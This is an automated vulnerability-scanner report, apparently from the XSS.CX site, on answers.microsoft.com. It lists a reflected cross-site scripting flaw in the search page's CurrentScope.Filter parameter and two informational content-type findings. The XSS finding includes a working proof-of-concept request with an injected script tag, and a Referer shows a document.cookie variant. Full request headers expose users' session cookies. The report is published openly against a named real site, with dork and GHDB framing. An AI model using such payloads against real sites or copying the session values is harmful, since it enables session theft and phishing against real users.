XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, answers.microsoft.com

Report generated by XSS.CX at Fri Sep 02 21:06:03 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in answers.microsoft.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

2. Content type incorrectly stated

2.1. http://answers.microsoft.com/en-us/Site/SetTimeZoneOffset

2.2. http://answers.microsoft.com/en-us/site/resources



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://answers.microsoft.com
Path:   /en-us/Search/Search

Issue detail

The value of the CurrentScope.Filter request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51499"><script>alert(1)</script>28a0ce8fb57 was submitted in the CurrentScope.Filter parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /en-us/Search/Search?SearchTerm=xss+faq+help&CurrentScope.ForumName=ie&CurrentScope.Filter=ie8-windows_other51499"><script>alert(1)</script>28a0ce8fb57&askingquestion=false HTTP/1.1
Host: answers.microsoft.com
Proxy-Connection: keep-alive
Referer: http://answers.microsoft.com/en-us/ie/forum/ie8-windows_other/mr-fix-it/74bd417b-396b-4c9e-8a3f-58146a3f69de
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MC1=GUID=f4593467ede44f6aaa7ee86821872394&HASH=f459&LV=20118&V=3; tzo=300; MUID=9FA60E9E25934DD3BB2BBC07F1AAFA23; MS_WT=ta_MSCOM_0={"Value":"{\"_wt.control-327131-ta_MSCOM_0\":{\"value\":\"{\\\"runid\\\":\\\"350161\\\",\\\"testid\\\":\\\"347134\\\",\\\"trackid\\\":\\\"350164\\\",\\\"typeid\\\":\\\"1\\\"}\"},\"_wt.user-327131\":{\"value\":\"{\\\"currentPath\\\":\\\"327131-ta_MSCOM_0-350161-350164\\\",\\\"uid\\\":\\\"4824407653540645216\\\",\\\"userSession\\\":\\\"1314992019982-13149920199826988\\\"}\"}}","Expires":"\/Date(1322768021129)\/"}; mcI=Sat, 10 Sep 2011 01:57:49 GMT; GsfxSessionCookie=83238445835191630; GsfxStatsLog=true; A=I&I=AxUFAAAAAAALCQAAtHepBqhKdMJHRzuiM0jZ/g!!&GO=244&CS=117\Gi002j50206; ADS=SN=175A21EF; PageStatisticsCookie=e9296962-77a4-4bc4-8b1d-c4a0e84397b3; ST_MSANSWERS_EN-US=2_0_0; fmsmemo=st=|13311; WT_NVR_RU=0=msdn|technet:1=:2=; netreflector=1; stotest=1; Microsoft.com=SS=279&SS_Refn=150&SS_Url=http://social.msdn.microsoft.com/Search/en-US/?Refinement=112&query=xss sqli~~9/3/2011 2:31:12 AM; SS_TRACK=SS_IA=0&SS_Refn=94~~112&SS_Terms=xss sqli~~xss sqli~~xss sqli&SS_LastTerm=xss sqli&SS_LastRefn=112; _wt.user-311121=1027e544307e5d8b7f05c10e3b31d5d888fad471507d3a52761a2dde11c5f7a91489ba34c786403712645ac8b0e364da72498d40a091deec9e4f89eb126b6c656aafdc846839212b719c52abccb3c9c17421dc888a96dcf02a75b6eee126fd20e30801c4d9e9; _wt.control-311121-ta_MSTemplateHeaderProject_0=1027f65025696c976a36cb5869679d8fdee7c73217227e42357f42be7198a2e049cae273fb8652271e722880fdba35813e2e844fbf8792a6c61dcfcc391d040667abc1920b5648175cda0d018a822c; _wt.mode-311121=056af45c236005d2ece3; omniID=1314964195919_2acb_27e1_036d_ce34d5420c63; s_cc=true; s_sq=msstomsdnforums%2Cmsstodpecar%3D%2526pid%253Dsocial.msdn%25253A/forums/en-us/help%2526pidt%253D1%2526oid%253Dhttp%25253A//i2.social.s-msft.com/Forums/resources/images/search.gif%25253Fcver%25253D1864.989%2525250d%2525250a%2526ot%253DIMAGE; _opt_vs_7U7CE9V4=C47D4E76-7720-4371-B3BB-F8A565CEC250; _opt_vi_7U7CE9V4=C47D4E76-7720-4371-B3BB-F8A565CEC250; _opt_vt_7U7CE9V4=6BECC667BC; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=9927a652-20c0-4db6-889b-2725d3e35ed2&Microsoft.CreationDate=09/03/2011 01:57:14&Microsoft.LastVisitDate=09/03/2011 02:36:05&Microsoft.NumberOfVisits=37&SessionCookie.Id=0BC5EDEBF94662667B0ABA08AE77BC4C; MSID=Microsoft.CreationDate=09/02/2011 11:43:32&Microsoft.LastVisitDate=09/03/2011 02:36:05&Microsoft.VisitStartDate=09/03/2011 01:57:14&Microsoft.CookieId=c79a9875-a200-46b5-bc88-db1c768a3311&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=51&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0666-6092-7684-7665; WT_FPC=id=50.23.123.106-382843424.30173056:lv=1315006605419:ss=1315004267204; MS0=3a6641ecc54e483db462a4c68211504c; msdn=L=1033; sdninc=2; fmshb=0,1315017624362

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
Date: Sat, 03 Sep 2011 02:52:36 GMT
Content-Length: 30465


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- CP01 -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<
...[SNIP]...
<li class="forumSelect" data-forum="ie" data-filter="ie8-windows_other51499"><script>alert(1)</script>28a0ce8fb57">
...[SNIP]...

2. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


2.1. http://answers.microsoft.com/en-us/Site/SetTimeZoneOffset  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://answers.microsoft.com
Path:   /en-us/Site/SetTimeZoneOffset

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

POST /en-us/Site/SetTimeZoneOffset HTTP/1.1
Host: answers.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://answers.microsoft.com/en-us/Search/Search?SearchTerm=xss+faq+help&CurrentScope.ForumName=ie&CurrentScope.Filter=ie8-windows_other51499%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E28a0ce8fb57&askingquestion=false
Content-Length: 12
Cookie: WT_FPC=id=20b4a619ec15c9129a51311327259214:lv=1314953874360:ss=1314952041136; A=I&I=AxUFAAAAAAAKBwAAdXWUADhA25JSNVWis+tmhQ!!&GO=244&CS=127W[U000134l0602h34l06; MUID=360F843730F542A7A6E2E0ACB7BADB9D; MSID=Microsoft.CreationDate=07/22/2011 12:36:13&Microsoft.LastVisitDate=09/02/2011 11:37:09&Microsoft.VisitStartDate=09/02/2011 11:32:56&Microsoft.CookieId=ac11fa37-8f10-42d0-83ff-16cc26c7f5e7&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=85&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0385-6668-8006-3576; MC1=GUID=77ec6960d0e1ff40bfef8b0c56239b53&HASH=6069&LV=20117&V=3; _opt_vi_RLWY7DRO=5D945FBB-6638-4BDF-A1AF-09A0EB00612A; _opt_vi_X19C7L9U=BF4B3FA2-8E51-4150-9ABB-1077225B50AC; _opt_vi_TKSBM7DI=9C480FCC-CBD9-4C4A-AD5E-8907629E985D; R=200011647-8/28/2011 4:18:41|200036905-8/3/2011 11:30:42; fsr.r.365={"d":90,"i":"1312388639285_861091","e":1312993478247}; omniID=1312424649583_34bd_b414_dec7_f8046bff7d58; WT_NVR_RU=0=msdn|technet:1=MSDN&/:2=; mbox=PC#1312498954114-515218.19#1316903229|check#true#1314311289|session#1314311228720-138236#1314313089; s_vnum=1344034955534%26vn%3D5; s_nr=1314311230397-Repeat; ixpLightBrowser=1; mcI=Fri, 09 Sep 2011 11:39:38 GMT; msresearch=%7B%22version%22%3A%224.6%22%2C%22state%22%3A%7B%22name%22%3A%22IDLE%22%2C%22url%22%3Aundefined%2C%22timestamp%22%3A1313683684143%7D%2C%22lastinvited%22%3A1313683684143%2C%22userid%22%3A%221313683684143979693397905030%22%2C%22vendorid%22%3A1%2C%22surveys%22%3A%5Bundefined%5D%7D; msdn=L=4108; MS_WT=ta_M={"Value":"{\"_wt.control-327131-ta_M\":{\"value\":\"{\\\"runid\\\":\\\"345246\\\",\\\"testid\\\":\\\"345238\\\",\\\"trackid\\\":\\\"345247\\\",\\\"typeid\\\":\\\"1\\\"}\"},\"_wt.user-327131\":{\"value\":\"{\\\"currentPath\\\":\\\"327131-ta_M-345246-345247\\\",\\\"uid\\\":\\\"4835653768079280752\\\",\\\"userSession\\\":\\\"1314456405421-13144564054213768\\\"}\"}}","Expires":"\/Date(1322232405420)\/"}&ta_MSCOM_0={"Value":"{\"_wt.control-327131-ta_MSCOM_0\":{\"value\":\"{\\\"runid\\\":\\\"350161\\\",\\\"testid\\\":\\\"347134\\\",\\\"trackid\\\":\\\"350162\\\",\\\"typeid\\\":\\\"1\\\"}\"},\"_wt.user-327131\":{\"value\":\"{\\\"currentPath\\\":\\\"327131-ta_MSCOM_0-350161-350162\\\",\\\"uid\\\":\\\"4837196762300854610\\\",\\\"userSession\\\":\\\"1314916107158-1314916017686388\\\"}\"}}","Expires":"\/Date(1322692109897)\/"}; _wt.control-311121-ta_MSTemplateHeaderProject_0=1027f65025696c976a36cb5869679d8fdee7c73217227e42357f42be7198a2e049cae273fb8652271e722880fdba35813e2e844fbf8792a6c61dcfcc391d040667abc1920b5648175cda0d0186394c; _wt.user-311121=1027e544307e5d8b7f05c10e3b31d5d888fad471507d3a52761a2dde11c5f7a91489ba34c786403712645ac8b0e364da72498d40a091deec9e4f89eb126b6c656aafdc846839212b719c52abccb3c9c07225dd8a8797d2fa2976b3eee02dfd22e308028d85a8; Microsoft.com=SS=233&SS_Refn=127&SS_Url=http://social.technet.microsoft.com/Search/es-PE?query=xss&ac=8~~02/09/2011 11:36:30; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9f&W=1; NAP=V=1.9&E=b45&C=fwpnHGQ2X_czDvTIj3ESgREE63mN7SiurD-8ETgQspHQSOUuQ0Sfog&W=1; sdninc=1
Pragma: no-cache
Cache-Control: no-cache

tzOffset=300

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
Set-Cookie: tzo=300; domain=answers.microsoft.com; expires=Mon, 03-Oct-2011 03:02:39 GMT; path=/
Date: Sat, 03 Sep 2011 03:02:39 GMT
Content-Length: 1

1

2.2. http://answers.microsoft.com/en-us/site/resources  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://answers.microsoft.com
Path:   /en-us/site/resources

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /en-us/site/resources HTTP/1.1
Host: answers.microsoft.com
Proxy-Connection: keep-alive
Referer: http://answers.microsoft.com/en-us/ie/forum/ie8-windows_other/mr-fix-it/74bd417b-396b-4c9e-8a3f-58146a3f69de
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MC1=GUID=f4593467ede44f6aaa7ee86821872394&HASH=f459&LV=20118&V=3; tzo=300; ST_MSANSWERS_EN-US=1_0_0; MUID=9FA60E9E25934DD3BB2BBC07F1AAFA23; Microsoft.com=SS=278&SS_Refn=148&SS_Url=http://social.technet.microsoft.com/search/es-PE/feed39d53'; _wt.user-311121=1027e544307e5d8b7f05c10e3b31d5d888fad471507d3a52761a2dde11c5f7a91489ba34c786403712645ac8b0e364da72498d40a091deec9e4f89eb126b6c656aafdc846839212b719c52abccb3c9c17421dc888a96dcf02a75b6eee126fd20e308039edcdf; _wt.control-311121-ta_MSTemplateHeaderProject_0=1027f65025696c976a36cb5869679d8fdee7c73217227e42357f42be7198a2e049cae273fb8652271e722880fdba35813e2e844fbf8792a6c61dcfcc391d040667abc1920b5648175cda0d01de532e; MS_WT=ta_MSCOM_0={"Value":"{\"_wt.control-327131-ta_MSCOM_0\":{\"value\":\"{\\\"runid\\\":\\\"350161\\\",\\\"testid\\\":\\\"347134\\\",\\\"trackid\\\":\\\"350164\\\",\\\"typeid\\\":\\\"1\\\"}\"},\"_wt.user-327131\":{\"value\":\"{\\\"currentPath\\\":\\\"327131-ta_MSCOM_0-350161-350164\\\",\\\"uid\\\":\\\"4824407653540645216\\\",\\\"userSession\\\":\\\"1314992019982-13149920199826988\\\"}\"}}","Expires":"\/Date(1322768021129)\/"}; mcI=Sat, 10 Sep 2011 01:57:49 GMT; GsfxSessionCookie=83238445835191630; GsfxStatsLog=true; A=I&I=AxUFAAAAAAALCQAAtHepBqhKdMJHRzuiM0jZ/g!!&GO=244&CS=117\Gi002j50206; ADS=SN=175A21EF; WT_NVR_RU=0=msdn:1=:2=; WT_FPC=id=50.23.123.106-382843424.30173056:lv=1315004796271:ss=1315004267204; stotest=1; omniID=1314964195919_2acb_27e1_036d_ce34d5420c63; msdn=L=1033; s_cc=true; s_sq=%5B%5BB%5D%5D; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=9927a652-20c0-4db6-889b-2725d3e35ed2&Microsoft.CreationDate=09/03/2011 01:57:14&Microsoft.LastVisitDate=09/03/2011 02:06:15&Microsoft.NumberOfVisits=18&SessionCookie.Id=0BC5EDEBF94662667B0ABA08AE77BC4C; MSID=Microsoft.CreationDate=09/02/2011 11:43:32&Microsoft.LastVisitDate=09/03/2011 02:06:15&Microsoft.VisitStartDate=09/03/2011 01:57:14&Microsoft.CookieId=c79a9875-a200-46b5-bc88-db1c768a3311&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=32&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0666-6092-7684-7665; MS0=3a6641ecc54e483db462a4c68211504c

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
Date: Sat, 03 Sep 2011 02:06:23 GMT
Content-Length: 14849


if (typeof(Answers) == "undefined")
Answers = {};

Answers.Res = {
SiteReadOnlyMsg:'We\u2019re sorry\x21 The Answers site is temporarily in read-only mode and we cannot proceed with th
...[SNIP]...

Report generated by XSS.CX at Fri Sep 02 21:06:03 GMT-06:00 2011.